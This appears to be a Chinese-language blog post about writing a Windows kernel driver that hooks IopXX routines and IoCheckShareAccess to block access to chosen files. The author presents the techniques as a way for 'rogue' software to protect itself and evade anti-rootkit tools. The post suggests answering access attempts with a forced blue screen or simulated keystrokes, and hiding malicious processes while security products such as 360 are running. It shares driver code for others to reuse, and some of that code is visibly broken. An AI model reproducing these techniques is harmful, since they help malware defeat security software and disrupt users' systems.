BY SUDAMI
今天很倒霉,电脑到中关村修了一天,最终确定是主板问题,无奈换了个主板(从此决定以后有钱一定要买个IBM THINKPOD的本本),然后很不爽的重装了系统,写的code因为电脑突然挂掉,重新打开全是乱码,弄了半天的心血一下就over了,之前也没备份, 只能重写之.
好久不写东西,这次放点儿好玩的陈旧的东西: object+keyboard+bugcheck.
取几个关键例程(IopXX)的地址后,替换或Inline hook掉,在其中可以很强大的监控到系统的很多频繁操作,ARK来它来记录监控,以后对比分析系统中可能存在的RK,是个不错的想法. 其中一个小模块可以用来干涉文件的解析,查询,复制,打开,删除等操作.
比如我挂钩了其中的2个函数,一个是解析文件,一个是标记文件状态,只要是我们关心的文件和文件夹, 都可以处理过滤掉. 或者流氓一点,可以让其直接蓝调(方法很多,直接来个Int 3,就OK了). 流氓用来做文件自我保护是个不错的选择. 当然对于狙剑这样没有经过文件系统,而是自己解析磁盘的,挂钩函数就不起作用了. 但一般的ARK: IS, Wsyscheck, Gmer统统无视. 为了演示效果,我把让其一碰就蓝的code注掉了,换成一碰就自动关闭当前窗口 / 最小化所有窗口 / 切换到登录状态, 即驱动模拟按键: ALT+F4, (TABLE), ENTER, ALT+ESC, WIN+M , WIN+R +"logoff"/"shutdown -l", WIN+L....
当然注销的等待时间太长了,驱动中没有找到可以直接注销的方法,只能模拟按键; ALT+F4关闭当前窗口是个不错的选择,当然好多自我保护做的不错的软件已经屏蔽掉这个了.或者弹个messagebox; WIN+L只是切换到登录状态, 干扰用户的正常操作,效果也不是很好. 当然,若不是做流氓程序,保护文件时自然不能让其直接BSOD, 除了上面的方法,还是有其他的一些猥亵选择的,大家自己发挥想象,原理就是callback函数中一旦接受到notify,你可以立即进行处理, 设置EVENT,让R3程序来搞,或者检测到安全软件的启动,就把隐藏的进程还原出来,把恶意行为隐藏起来,等到安全软件退出时,再立马启动....
测试了下360和微点,效果不错,嘿嘿,发点儿关键code
if ( IOFILE_INDEX == ObjectIndex) {
FileName = (PUNICODE_STRING)(( UCHAR *)Object+0x030) ;
RtlCopyMemory(Name, FileName->Buffer, FileName->MaximumLength );
_wcsupr(Name);
if (wcsstr(Name , L "SUDAMI") ||
wcsstr(Name , L "360") ||
wcsstr(Name , L "MP") ||
wcsstr(Name , L "DOWNLOAD") ) {
//检查是不是要保护的文件
DbgPrint( "HandleDelete: Deny/n");
if ( TRUE == g_kb_valid )
{
// sendkb(0x3b, KEY_MAKE);
// sendkb(0x3b, KEY_BREAK);
// ALT + ESC
// sendkb(0x38, KEY_MAKE);
// sendkb(0x1, KEY_MAKE);
// sendkb(0x38, KEY_BREAK);
// sendkb(0x1, KEY_BREAK);
// ALT + F4
sendkb(0x38, KEY_MAKE);
sendkb(0x, KEY_MAKE);
sendkb(0x, KEY_BREAK);
sendkb(0x38, KEY_BREAK);
// enter
sendkb(0x1c, KEY_MAKE);
sendkb(0x1c, KEY_BREAK);
// WIN + M
sendkb(0x5b, 2);
sendkb(0x, KEY_MAKE);
sendkb(0x, KEY_BREAK);
sendkb(0x5b, 3);
/*
//
// 模拟注销
//
// WIN + r
sendkb(0x5b, 2);
sendkb(0x, KEY_MAKE);
sendkb(0x, KEY_BREAK);
sendkb(0x5b, 3);
// shutdown -l
sendkb(0x1f, KEY_MAKE);
sendkb(0x1f, KEY_BREAK);
sendkb(0x23, KEY_MAKE);
sendkb(0x23, KEY_BREAK);
sendkb(0x16, KEY_MAKE);
sendkb(0x16, KEY_BREAK);
sendkb(0x14, KEY_MAKE);
sendkb(0x14, KEY_BREAK);
sendkb(0x20, KEY_MAKE);
sendkb(0x20, KEY_BREAK);
sendkb(0x18, KEY_MAKE);
sendkb(0x18, KEY_BREAK);
sendkb(0x11, KEY_MAKE);
sendkb(0x11, KEY_BREAK);
sendkb(0x31, KEY_MAKE);
sendkb(0x31, KEY_BREAK);
sendkb(0x39, KEY_MAKE);
sendkb(0x39, KEY_BREAK);
sendkb(0xc, KEY_MAKE);
sendkb(0xc, KEY_BREAK);
sendkb(0x26, KEY_MAKE);
sendkb(0x26, KEY_BREAK);
// enter
sendkb(0x1c, KEY_MAKE);
sendkb(0x1c, KEY_BREAK);
*/
// WIN + L
// sendkb(0x5b, 2);
// sendkb(0x26, KEY_MAKE);
// sendkb(0x26, KEY_BREAK);
// sendkb(0x5b, 3);
}
// ProbeForWrite(sudami,4,4); // let it BSOD.hoho~
return ;
DbgPrint( "nerver be here~/n");
goto skip; // nerver be here~
}
}
另外,禁止文件的创建,访问,打开等操作,简单点儿的不需要FSD层面,只需挂钩一个函数 即可.微点就是这么做的.嘿嘿,放点儿关键code,大家自由发挥吧:
NTSTATUS
fake_IoCheckShareAccess(
ACCESS_MASK DesiredAccess,
ULONG DesiredShareAccess,
PFILE_OBJECT FileObject,
PSHARE_ACCESS ShareAccess,
BOOLEAN Update
)
{
NTSTATUS stat ;
WCHAR Name[300];
PUNICODE_STRING FileName;
BOOLEAN ReadAccess;
BOOLEAN WriteAccess;
BOOLEAN DeleteAccess;
_asm pushad
_asm pushfd
/* Get access masks */
ReadAccess = (DesiredAccess & (FILE_READ_DATA | FILE_EXECUTE)) != 0;
WriteAccess = (DesiredAccess & (FILE_WRITE_DATA | FILE_APPEND_DATA)) != 0;
DeleteAccess = (DesiredAccess & DELETE) != 0;
FileName = (PUNICODE_STRING)((UCHAR *)FileObject+0x030) ;
RtlCopyMemory(Name, FileName->Buffer, FileName->MaximumLength );
_wcsupr(Name);
DbgPrint("%s", Name);
if (wcsstr(Name , L"SUDAMI") /*&& (WriteAccess || DeleteAccess || ReadAccess)*/ )
{
//检查是不是要保护的文件
DbgPrint("IoCheckShareAccess - Deny/n");
_asm popfd
_asm popad
stat = 0xC0000043;
goto skip;
}
_asm popfd
_asm popad
stat = orig_IoCheckShareAccess(DesiredAccess, DesiredShareAccess,
FileObject, ShareAccess, Update);
skip:
_asm nop
return stat;
}